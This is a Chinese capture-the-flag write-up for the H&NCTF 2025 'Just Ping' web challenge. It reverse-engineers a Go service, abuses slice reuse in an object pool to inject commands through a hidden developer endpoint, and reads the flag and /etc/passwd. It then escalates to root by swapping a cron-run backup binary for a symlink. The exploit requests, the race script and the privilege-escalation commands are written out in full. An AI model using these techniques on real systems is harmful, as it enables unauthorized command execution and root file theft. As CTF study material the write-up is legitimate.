H&NCTF 2025 Just Ping Write-up

part 1

路由部分主逻辑逆向

go 复制代码
package main

import (
    "net/http"
)

func main() {
    // 注册路由和处理函数
    // 当访问 "/api/ping" 路径时,调用 pingHandler 函数处理请求
    http.HandleFunc("/api/ping", pingHandler)

    // 注册开发测试API路由
    // 当访问 "/api/testDevelopApi" 路径时,调用 testDevelopApiHandler 函数
    http.HandleFunc("/api/testDevelopApi", testDevelopApiHandler)

    // 创建静态文件服务器
    // 使用当前目录下的"static"文件夹作为静态文件根目录
    fileServer := http.FileServer(http.Dir("static"))

    // 注册静态文件处理路由
    // 所有以"/static/"开头的请求都会移除此前缀后,再在静态文件目录中查找文件
    // 例如:请求 "/static/css/style.css" 会映射到 "static/css/style.css"
    http.Handle("/static/", http.StripPrefix("/static/", fileServer))

    // 启动HTTP服务器并监听8080端口
    // nil 表示使用默认的多路复用器 (DefaultServeMux)
    err := http.ListenAndServe(":8080", nil)
    
    // 处理服务器启动错误
    // 如果监听失败(如端口被占用),触发panic终止程序
    if err != nil {
        panic(err)
    }
}

// ping接口处理函数
// 用于响应健康检查或测试请求
func pingHandler(w http.ResponseWriter, r *http.Request) {
    // 实际实现应包含业务逻辑,例如:
    w.WriteHeader(http.StatusOK)
    w.Write([]byte("pong"))
}

// 开发测试API处理函数
// 用于开发阶段的功能测试
func testDevelopApiHandler(w http.ResponseWriter, r *http.Request) {
    // 实际实现应包含开发测试逻辑,例如:
    // - 参数解析
    // - 业务处理
    // - 返回测试数据
}

/api/ping逆向

go 复制代码
package handle

import (
	"bufio"
	"bytes"
	"context"
	"net/http"
	"net/textproto"
	"os/exec"
	"runtime"
	"sync"
	"time"

	"moran/goweb1/utils"
)

// PingHandler 网络连通性测试处理器
// 用于执行ICMP ping测试目标主机(支持IPv4/IPv6)
func PingHandler(w http.ResponseWriter, r *http.Request) {
	// 1. 解析URL查询参数
	queryParams := r.URL.Query()
	
	// 2. 获取"target"参数值(目标主机)
	target := queryParams.Get("target")
	
	// 3. 检查目标是否为空
	if target == "" {
		http.Error(w, "target cant be null", http.StatusBadRequest)
		return
	}
	
	// 4. 验证目标格式(IP/域名)
	if !utils.IsValidTarget(target) {
		http.Error(w, "target error", http.StatusBadRequest)
		return
	}
	
	// 5. 从对象池获取命令参数切片
	cmdArgsPtr := utils.CommandStringPool.Get().(*[]string)
	defer func() {
		// 重置并放回对象池
		*cmdArgsPtr = (*cmdArgsPtr)[:0]
		utils.CommandStringPool.Put(cmdArgsPtr)
	}()
	
	// 6. 根据操作系统构造ping命令
	var cmd *exec.Cmd
	if runtime.GOOS == "windows" {
		*cmdArgsPtr = append(*cmdArgsPtr, "-n", "4", target) // Windows: ping -n 4 <target>
		cmd = exec.Command("ping", *cmdArgsPtr...)
	} else {
		*cmdArgsPtr = append(*cmdArgsPtr, "-c", "4", target) // Linux/Mac: ping -c 4 <target>
		cmd = exec.Command("ping", *cmdArgsPtr...)
	}
	
	// 7. 获取命令标准输出管道
	stdoutPipe, err := cmd.StdoutPipe()
	if err != nil {
		http.Error(w, "server error", http.StatusInternalServerError)
		return
	}
	
	// 8. 设置响应头
	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
	w.Header().Set("X-Content-Type-Options", "nosniff")
	
	// 9. 启动命令
	if err := cmd.Start(); err != nil {
		http.Error(w, "command exec error", http.StatusInternalServerError)
		return
	}
	
	// 10. 流式读取命令输出并实时写入响应
	scanner := bufio.NewScanner(stdoutPipe)
	scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024) // 1MB缓冲区
	
	for scanner.Scan() {
		// 逐行写入响应
		if _, err := w.Write(append(scanner.Bytes(), '\n')); err != nil {
			break // 客户端断开连接时终止
		}
		// 手动刷新响应流
		if f, ok := w.(http.Flusher); ok {
			f.Flush()
		}
	}
	
	// 11. 等待命令执行完成(带超时)
	done := make(chan error, 1)
	go func() { done <- cmd.Wait() }()
	
	select {
	case err := <-done:
		if err != nil {
			http.Error(w, "command wait error", http.StatusInternalServerError)
		}
	case <-time.After(10 * time.Second): // 10秒超时
		cmd.Process.Kill()
		http.Error(w, "command timeout", http.StatusGatewayTimeout)
	}
}

/api/testDevelopApi逆向

go 复制代码
package handle

import (
	"net/http"
	"net/url"

	"github.com/google/shlex"
	"moran/goweb1/utils"
)

// DevelopmentHandler 开发环境命令执行处理器
// 用于接收并执行客户端发送的命令(主要用于开发环境调试)
func DevelopmentHandler(w http.ResponseWriter, r *http.Request) {
	// 1. 解析URL查询参数
	queryParams := r.URL.Query()
	
	// 2. 获取"cmd"参数值
	cmdStr := queryParams.Get("cmd")
	
	// 3. 检查命令是否为空
	if cmdStr == "" {
		// 返回400错误:命令不能为空
		http.Error(w, "cmd cant be null", http.StatusBadRequest)
		return
	}
	
	// 4. 从对象池获取命令切片(减少内存分配)
	cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)
	defer func() {
		// 使用后重置切片并放回对象池
		*cmdSlicePtr = (*cmdSlicePtr)[:0]
		utils.CommandStringPool.Put(cmdSlicePtr)
	}()
	
	// 5. 使用shlex进行命令解析(支持带引号的参数)
	args, err := shlex.Split(cmdStr)
	if err != nil {
		// 返回400错误:命令解析失败
		http.Error(w, "command error", http.StatusBadRequest)
		return
	}
	
	// 6. 检查参数数量限制(最大4个参数)
	if len(args) > 4 {
		// 返回400错误:参数过多
		http.Error(w, "server error", http.StatusBadRequest)
		return
	}
	
	// 7. 执行命令(此处仅为示例,实际应执行命令)
	// TODO: 此处应添加实际命令执行逻辑
	
	// 8. 返回执行成功响应
	w.Write([]byte("Command executed successfully.\n"))
}

接下来本地调试看看

bash 复制代码
 % sudo lsof -i -P -n | grep LISTEN
[sudo] a5rz 的密码: 
systemd-r  753 systemd-resolve   14u  IPv4  17341      0t0  TCP 127.0.0.53:53 (LISTEN)
sshd      1094            root    3u  IPv4  13828      0t0  TCP *:22 (LISTEN)
sshd      1094            root    4u  IPv6  13830      0t0  TCP *:22 (LISTEN)
cupsd     1095            root    6u  IPv6  19744      0t0  TCP [::1]:631 (LISTEN)
cupsd     1095            root    7u  IPv4  19745      0t0  TCP 127.0.0.1:631 (LISTEN)
linux_ser 4103            a5rz    3u  IPv4  41547      0t0  TCP *:23946 (LISTEN)
goweb1    4163            a5rz    3u  IPv6  39606      0t0  TCP *:8080 (LISTEN)
a5rz@a5rz-virtual-machine ~/Desktop/server
 % sudo strace -p 4163 -f -e execve

发现测试路由并不执行命令, 他会莫名其妙的在执行正常路由时被拼接。

复制代码
a5rz@a5rz-virtual-machine ~/Desktop/server
 % sudo strace -p 4163 -f -e execve
strace: Process 4163 attached with 6 threads
[pid  4167] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
strace: Process 5101 attached
[pid  5101] execve("/usr/bin/ls", ["ls", "127.0.0.1"], 0xc000094fc0 /* 54 vars */) = 0
[pid  4163] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=4163, si_uid=1000} ---
[pid  5101] +++ exited with 2 +++
[pid  4163] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=5101, si_uid=1000, si_status=2, si_utime=0, si_stime=0} ---

问题似乎在这里

go 复制代码
	cmdSlicePtr := utils.CommandStringPool.Get().(*[]string)
	defer func() {
		// 使用后重置切片并放回对象池
		*cmdSlicePtr = (*cmdSlicePtr)[:0]
		utils.CommandStringPool.Put(cmdSlicePtr)
	}()

此处存在 UAF *cmdSlicePtr = (*cmdSlicePtr)[:0],似乎不会清理缓冲区的内容 append(*cmdArgsPtr, "-c", "4", target),错误附加了他
尝试

http 复制代码
GET /api/testDevelopApi?cmd=ls%20%2f%20%2f%20%2f HTTP/1.1
Host: 27.25.151.198:33940
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

多次发送

http 复制代码
GET /api/ping?target=127.0.0.1 HTTP/1.1
Host: 27.25.151.198:33940
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Referer: http://27.25.151.198:33940/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
http 复制代码
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Sat, 07 Jun 2025 01:53:43 GMT
Content-Length: 232

/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

/:
app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
command wait error

get flag

复制代码
cat /flag / /

part 2

需拿到root的Flag,Enjoy

复制代码
/:
total 60
drwxr-xr-x   2 root root 4096 May 28 12:33 app
lrwxrwxrwx   1 root root    7 May 20 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May  9 14:50 boot
drwxr-xr-x   5 root root  360 Jun  7 01:56 dev
drwxr-xr-x   1 root root 4096 Jun  7 01:56 etc
drwxr-xr-x   1 root root 4096 May 29 09:52 home
lrwxrwxrwx   1 root root    7 May 20 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 20 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 20 00:00 media
drwxr-xr-x   2 root root 4096 May 20 00:00 mnt
drwxr-xr-x   2 root root 4096 May 20 00:00 opt
dr-xr-xr-x 876 root root    0 Jun  7 01:56 proc
drwx------   1 root root 4096 Jun  7 01:56 root
drwxr-xr-x   1 root root 4096 Jun  7 01:56 run
lrwxrwxrwx   1 root root    8 May 20 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 May 20 00:00 srv
-rwxr-xr-x   1 root root  116 May 29 09:50 start.sh
dr-xr-xr-x  13 root root    0 Jun  7 01:56 sys
drwxrwxrwt   1 root root 4096 Jun  7 02:12 tmp
drwxr-xr-x   1 root root 4096 May 20 00:00 usr
drwxr-xr-x   1 root root 4096 May 28 12:33 var
command wait error

start.sh

复制代码
#!/bin/bash

if [[ -f /flag.sh ]]; then
	source /flag.sh
	rm -f /flag.sh
fi

su - enjoy -c "cd /var/web && ./goweb1"
command wait error

all

复制代码
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin
enjoy:x:1000:1000::/home/enjoy:/bin/sh

我得想办法执行更长的命令

复制代码
sh -c "ls" /

sh -c "find / -user root -perm -4000 -print 2>/dev/null" /

找找提权

复制代码
/usr/sbin/exim4
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/gpasswd
bash 复制代码
sh -c "/usr/sbin/exim4 --version" /

2025 邮件服务器?

复制代码
Exim version 4.96 #2 built 22-Mar-2025 10:25:14
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2022
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS TLS_resume move_frozen_messages DANE DKIM DNSSEC Event I18N OCSP PIPECONNECT PRDR Queue_Ramp SOCKS SRS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 external plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file search path is /etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
Configuration file is /var/lib/exim4/config.autogenerated

2025内核?

复制代码
Linux hnctf-7ef39a61662c4f2c 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 GNU/Linux

定时任务?

复制代码
-rw-r--r-- 1 root root 1042 Mar  2  2023 /etc/crontab

/etc/cron.d:
total 4
-rw-r--r-- 1 root root 201 Mar  5  2023 e2scrub_all

/etc/cron.daily:
total 16
-rwxr-xr-x 1 root root 1478 May 25  2023 apt-compat
-rwxr-xr-x 1 root root  123 Mar 27  2023 dpkg
-rwxr-xr-x 1 root root 4722 Jun 17  2024 exim4-base

/etc/cron.hourly:
total 0

/etc/cron.monthly:
total 0

/etc/cron.weekly:
total 0

/etc/cron.yearly:
total 0

是 Exim提权?这个服务看着很怪

python 复制代码
from codes.WEB.WebAttack import WebAttack  
from codes.WEB.base import *  
from codes.Reveres.Universal_disassembler.VM import VM  
  
key = 'key3key'  
pay = 'ls -l /etc/exim4/.conf;ls -l /var/lib/exim4/config.autogenerated'  
  
pay = url_encode(f'sh -c "echo {key};{pay}" /')  
  
io1 =WebAttack(f"""  
GET /api/testDevelopApi?cmd={pay} HTTP/1.1Host: 27.25.151.198:33355  
  
  
""")  
  
io1.send()  
  
io2 = WebAttack("""  
GET /api/ping?target=a.com HTTP/1.1  
Host: 27.25.151.198:33355  
  
  
""")  
  
while True:  
    res = io2.send()  
    if key in res.get_body():  
        print(res.get_body())  
        break

读出来了但是好像没啥用
有个漏洞

CVE - CVE-2025-30232漏洞

找不到exp,应该不会让现场复现pwn漏洞吧?

Exploit Database Search

Exim AUTH Out-of-bounds Write 远程代码执行... ·CVE-2023-42115 漏洞 ·GitHub Advisory Database (GitHub 咨询数据库) ·GitHub的

能找到的全是pwn漏洞,一个有概念验证代码的都没有

再读一读,文件看看

html 复制代码
cat: ./static/css: Is a directory
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Ping 测试工具</title>
    <link href="./css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background-color: #f8f9fa;
            padding-top: 2rem;
        }
        .container {
            max-width: 800px;
        }
        .card {
            border-radius: 10px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
        }
        .card-header {
            background-color: #0d6efd;
            color: white;
            border-radius: 10px 10px 0 0 !important;
        }
        #output {
            height: 400px;
            overflow-y: auto;
            background-color: #212529;
            color: #e9ecef;
            font-family: 'Courier New', Courier, monospace;
            padding: 15px;
            border-radius: 5px;
            white-space: pre-wrap;
        }
        .btn-primary {
            background-color: #0d6efd;
            border-color: #0d6efd;
        }
        .btn-primary:hover {
            background-color: #0b5ed7;
            border-color: #0a58ca;
        }
        .form-control:focus {
            border-color: #86b7fe;
            box-shadow: 0 0 0 0.25rem rgba(13, 110, 253, 0.25);
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="card">
            <div class="card-header text-center">
                <h2>Ping 测试工具</h2>
            </div>
            <div class="card-body">
                <div class="mb-3">
                    <label for="targetInput" class="form-label">输入 IP 地址或域名</label>
                    <div class="input-group">
                        <input type="text" class="form-control" id="targetInput" placeholder="例如: 8.8.8.8 或 google.com">
                        <button class="btn btn-primary" type="button" id="pingButton">开始 Ping</button>
<!--                        <button class="btn btn-success" type="button" id="testApiButton">测试API</button>-->
                        <button class="btn btn-danger" type="button" id="stopButton" disabled>停止</button>
                    </div>
                </div>
                <div class="mb-3">
                    <label class="form-label">Ping 结果</label>
                    <div id="output"></div>
                </div>
            </div>
            <div class="card-footer text-muted">
                工具将实时显示 ping 命令的输出结果
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const targetInput = document.getElementById('targetInput');
            const pingButton = document.getElementById('pingButton');
            const stopButton = document.getElementById('stopButton');
            const output = document.getElementById('output');
            let controller = null;

            // 自动滚动到底部
            function scrollToBottom() {
                output.scrollTop = output.scrollHeight;
            }

            // 清除输出
            function clearOutput() {
                output.textContent = '';
            }

            // 开始 ping
            pingButton.addEventListener('click', async function() {
                const target = targetInput.value.trim();
                if (!target) {
                    alert('请输入有效的 IP 地址或域名');
                    return;
                }

                clearOutput();
                pingButton.disabled = true;
                stopButton.disabled = false;
                targetInput.disabled = true;

                // 使用 AbortController 来控制请求
                controller = new AbortController();
                const signal = controller.signal;

                try {
                    const response = await fetch(`/api/ping?target=${encodeURIComponent(target)}`, {
                        signal
                    });

                    if (!response.ok) {
                        throw new Error(`请求失败: ${response.status}`);
                    }

                    const reader = response.body.getReader();
                    const decoder = new TextDecoder();

                    while (true) {
                        const { done, value } = await reader.read();
                        if (done) break;

                        const text = decoder.decode(value);
                        output.textContent += text;
                        scrollToBottom();
                    }
                } catch (error) {
                    if (error.name !== 'AbortError') {
                        output.textContent += `\n错误: ${error.message}\n`;
                        scrollToBottom();
                    }
                } finally {
                    pingButton.disabled = false;
                    stopButton.disabled = true;
                    targetInput.disabled = false;
                    controller = null;
                }
            });

            // 停止 ping
            stopButton.addEventListener('click', function() {
                if (controller) {
                    controller.abort();
                }
                pingButton.disabled = false;
                stopButton.disabled = true;
                targetInput.disabled = false;
            });

            // 按回车键触发 ping
            targetInput.addEventListener('keypress', function(e) {
                if (e.key === 'Enter' && !pingButton.disabled) {
                    pingButton.click();
                }
            });
        });

        // 测试开发API
        document.getElementById('testApiButton').addEventListener('click', async function() {
            const cmd = targetInput.value.trim();
            if (!cmd) {
                alert('请输入测试命令');
                return;
            }

            clearOutput();
            testApiButton.disabled = true;
            targetInput.disabled = true;

            try {
                const response = await fetch(`/api/testDevelopApi?cmd=${encodeURIComponent(cmd)}`);
                if (!response.ok) {
                    throw new Error(`请求失败: ${response.status}`);
                }
                const data = await response.text();
                output.textContent = data;
                scrollToBottom();
            } catch (error) {
                output.textContent = `错误: ${error.message}`;
                scrollToBottom();
            } finally {
                testApiButton.disabled = false;
                targetInput.disabled = false;
            }
        });
    </script>

    <script src="./js/bootstrap.bundle.min.js"></script>
</body>
</html>cat: ./static/js: Is a directory

查找 root 拥有且所有人可写的文件?

复制代码
find / -user root -perm -4000 -perm -o=w 2>/dev/null

提示: root有一个定时任务每分钟都会执行
ps top 全无
定时任务找不到,被藏了?

linux-隐藏你的crontab后门-腾讯云开发者社区-腾讯云

还是找不到

复制代码
ls /proc | grep '^[0-9]'

cmd line 读不出来,id一直在变,延迟太高窗口期根本不够
ps top 都没有
新提示: root给出了它的一个脚本,在附件中哦

复制代码
#!/bin/bash

if [ ! -f "backup" ]; then
    exit 1
fi

ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)

if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
    backup
    exit 0
else
    exit 1
fi

找到 backup

复制代码
pay = """find / -type f -name backup 2>/dev/null"""

/usr/local/etc/backup

-rwxrwxrwx 1 root root 2706127 May 28 12:32 /usr/local/etc/backup

pay = """base64 /usr/local/etc/backup > /tmp/backup_encoded.b64;cat /tmp/backup_encoded.b64"""

ida 找 main.main

go 复制代码
package main

import (
    "os"
    "path/filepath"
)

func main() {
    // 获取可执行文件路径
    execPath, err := os.Executable()
    if err != nil {
        os.Exit(1)
    }

    // 获取可执行文件所在目录
    execDir := filepath.Dir(execPath)

    // 获取绝对路径
    absPath, err := filepath.Abs(execDir)
    if err != nil {
        os.Exit(1)
    }

    // 构建备份列表文件路径
    backupListPath := filepath.Join(absPath, "../backupList")

    // 读取备份列表
    backupList, err := readBackupList(backupListPath)
    if err != nil {
        os.Exit(2)
    }

    // 创建备份
    err = createBackup(backupList, "/var/backups/backup.zip")
    if err != nil {
        os.Exit(3)
    }
}

func readBackupList(listPath string) ([]string, error) {
    // 读取文件内容
    content, err := os.ReadFile(listPath)
    if err != nil {
        return nil, err
    }

    // 如果文件为空,返回空切片
    if len(content) == 0 {
        return []string{}, nil
    }

    // 将字节内容转换为字符串
    contentStr := string(content)

    // 按行分割内容
    lines := strings.Split(contentStr, "\n")

    // 创建结果切片
    var result []string

    // 处理每一行
    for _, line := range lines {
        // 去除每行首尾的空白字符
        trimmedLine := strings.TrimSpace(line)
        
        // 如果去除空白后行不为空,则添加到结果中
        if trimmedLine != "" {
            result = append(result, trimmedLine)
        }
    }

    return result, nil
}


func createBackup(backupList []string, outputPath string) error {
    // 检查输出文件是否存在,如果存在则删除
    if _, err := os.Stat(outputPath); err == nil {
        if err := os.Remove(outputPath); err != nil {
            return err
        }
    }

    // 创建新的zip文件
    zipFile, err := os.OpenFile(outputPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
    if err != nil {
        return err
    }
    defer zipFile.Close()

    // 创建一个带缓冲的writer
    bufWriter := bufio.NewWriterSize(zipFile, 4096)
    defer bufWriter.Flush()

    // 创建zip writer
    zipWriter := zip.NewWriter(bufWriter)
    defer zipWriter.Close()

    // 遍历备份列表
    for _, path := range backupList {
        err := filepath.Walk(path, func(filePath string, info os.FileInfo, err error) error {
            if err != nil {
                return err
            }
            
            // 跳过目录
            if info.IsDir() {
                return nil
            }

            // 创建zip文件头
            header, err := zip.FileInfoHeader(info)
            if err != nil {
                return err
            }
            
            // 设置压缩方法
            header.Method = zip.Deflate

            // 创建zip文件条目
            writer, err := zipWriter.CreateHeader(header)
            if err != nil {
                return err
            }

            // 打开源文件
            file, err := os.Open(filePath)
            if err != nil {
                return err
            }
            defer file.Close()

            // 复制文件内容到zip
            _, err = io.Copy(writer, file)
            return err
        })

        if err != nil {
            return err
        }
    }

    return nil
}

不可写

复制代码
-rw-r--r-- 1 root root 13 May 28 09:58 /usr/local/backupList

看内容

复制代码
/root/healthy

base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64

里面只有 "OK"

复制代码
ls -l /root/healthy/healthy

被禁止

复制代码
ls -l /usr/local/etc/

条件竞争?
利用sh反复交换两个可执行文件的位置创造一个窗口期?
交换?如果我将移动可执行文件并创建其链接呢,其相对路径将会改变?

复制代码
pay = """mkdir -p /tmp/test;cp /usr/local/etc/backup /tmp/test/backup;ln /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList"""

失败,发现是ln覆盖不了原文件,改移动

复制代码
pay = """mv /usr/local/etc/backup /tmp/test/backup"""

-rwxr-xr-x 1 enjoy enjoy 2706127 Jun 7 13:25 /usr/local/etc/backup

next->

复制代码
pay = """mkdir -p /tmp/test;mv /usr/local/etc/backup /tmp/test/backup;ln -s /tmp/test/backup /usr/local/etc/backup;echo \\"/root/flag\\" > /tmp/backupList;md5sum \\"/usr/local/etc/backup\\\""""

check_pass

复制代码
18ed919aada0f7adca8802acf7b8a4d5  /usr/local/etc/backup

get flag ->

复制代码
base64 /var/backups/backup.zip > /tmp/backup.b64;cat /tmp/backup.b64